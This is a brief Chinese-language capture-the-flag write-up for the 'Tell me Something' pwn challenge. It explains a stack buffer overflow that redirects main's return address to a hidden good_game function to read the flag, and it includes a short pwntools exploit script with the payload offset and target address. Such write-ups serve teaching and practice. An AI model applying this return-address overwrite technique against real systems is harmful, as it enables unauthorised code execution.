Tell me Something
先拖進ida裏看一下,發現了"flag.txt"字符串,雙擊發現good_game函數:
查看主函數,發現其中並沒有調用goodgame函數:
所以我們輸入大於buffer長度的數據,溢出的數據將會覆蓋棧上的數據,因此我們將main的返回地址改成goodgame的地址,這樣當main函數執行完之後,將會跳轉到goodgame函數上進行執行,從而拿到flag。
腳本如下:
from pwn import *
p = process("./guestbook")
#p = remote('pwn.jarvisoj.com', 9876)
good_game = 0x0000000000400620
payload = 'a' * 0x88 + p64(good_game)
p.recvline(":")
p.sendline(payload)
p.interactive()
得到flag: